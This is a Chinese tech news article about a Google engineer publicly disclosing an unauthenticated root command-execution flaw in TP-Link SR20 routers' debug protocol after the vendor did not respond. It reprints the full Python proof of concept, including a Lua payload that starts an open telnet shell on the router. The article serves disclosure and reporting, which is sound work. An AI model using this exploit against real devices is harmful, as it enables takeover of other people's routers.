|
|
51CTO旗下网站
|
|
移动端

TP-Link 不回应,安全工程师公开了其路由器漏洞

此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应。

作者:h4cd来源:开源中国|2019-04-01 09:00

此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应,于是他公开了该漏洞。

该问题由著名的 Google 安全工程师与开源贡献者 Matthew Garrett 披露,周三他公开的 38 行概念验证代码显示出在利用 SR20 的漏洞时可以使用 root 权限执行设备上的任何命令,并且无需身份验证。

Matthew 解释,TP-Link 路由器经常以 root 身份运行名为“tddp”(TP-Link Device Debug Protocol,TP-Link设备调试协议)的进程。它已经存在了多个漏洞,其中一个没有身份验证。

“SR20 暴露了一些***个版本协议的命令,其中一个(命令 0x1f,请求 0x01)似乎是用于某种配置验证”,他说:“你发送文件和相应参数,收到命令后,路由器通过 TFTP 响应请求的机器,询问文件名,将其导入 Lua 解释器,以 root 身份运行,并将参数发送到导入文件中的 config_test() 函数。Lua os.execute() 方法传递一个由操作系统 shell 执行的命令。”

由于解释器以 root 身份运行,所以可以执行任意命令。

  1. #!/usr/bin/python3 
  2.  
  3. # Create /testfile in your tftp root directory with the following contents: 
  4. # 
  5. #function config_test(config) 
  6. #  os.execute("telnetd -l /bin/login.sh") 
  7. #end 
  8. # 
  9. # Replace 192.168.0.1 with the IP address of the vulnerable device 
  10.  
  11. import binascii 
  12. import socket 
  13.  
  14. port_send = 1040 
  15. port_receive = 61000 
  16.  
  17. tddp_ver = "01" 
  18. tddp_command = "31" 
  19. tddp_req = "01" 
  20. tddp_reply = "00" 
  21. tddp_padding = "%0.16X" % 00 
  22.  
  23. tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) 
  24.  
  25. sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  26. sock_receive.bind(('', port_receive)) 
  27.  
  28. # Send a request 
  29. sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  30. packet = binascii.unhexlify(tddp_packet) 
  31. packet = packet + b"/testfile;arbitrary" 
  32. print(packet) 
  33. sock_send.sendto(packet, ("192.168.0.1", port_send)) 
  34. sock_send.close() 
  35.  
  36. response, addr = sock_receive.recvfrom(1024) 
  37. r = response.encode('hex'
  38. print(r) 

【编辑推荐】

  1. Google Chrome 73稳定版发布:支持Dark模式 修复60处安全漏洞
  2. SAP 开源 SCA 工具,扫描软件包依赖漏洞
  3. NSA 的软件逆向工程框架 Ghidra 曝出漏洞
  4. 超 100000 个 GitHub 代码库泄露了 API 或加密密钥
  5. 如何阅读一份源代码?
【责任编辑:张燕妮 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢
24H热文
一周话题
本月获赞

订阅专栏+更多

16招轻松掌握PPT技巧

16招轻松掌握PPT技巧

GET职场加薪技能
共16章 | 晒书包

333人订阅学习

20个局域网建设改造案例

20个局域网建设改造案例

网络搭建技巧
共20章 | 捷哥CCIE

658人订阅学习

WOT2019全球人工智能技术峰会

WOT2019全球人工智能技术峰会

通用技术、应用领域、企业赋能三大章节,13大技术专场,60+国内外一线人工智能精英大咖站台,分享人工智能的平台工具、算法模型、语音视觉等技术主题,助力人工智能落地。
共50章 | WOT峰会

0人订阅学习

读 书 +更多

J2ME手机游戏设计技术与实战

本书主要介绍了在手机上开发J2ME游戏的方法,作者在介绍了J2ME游戏开发相关知识背景的基础上,以大富翁手机游戏的设计开发为例,详细讲述了...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO播客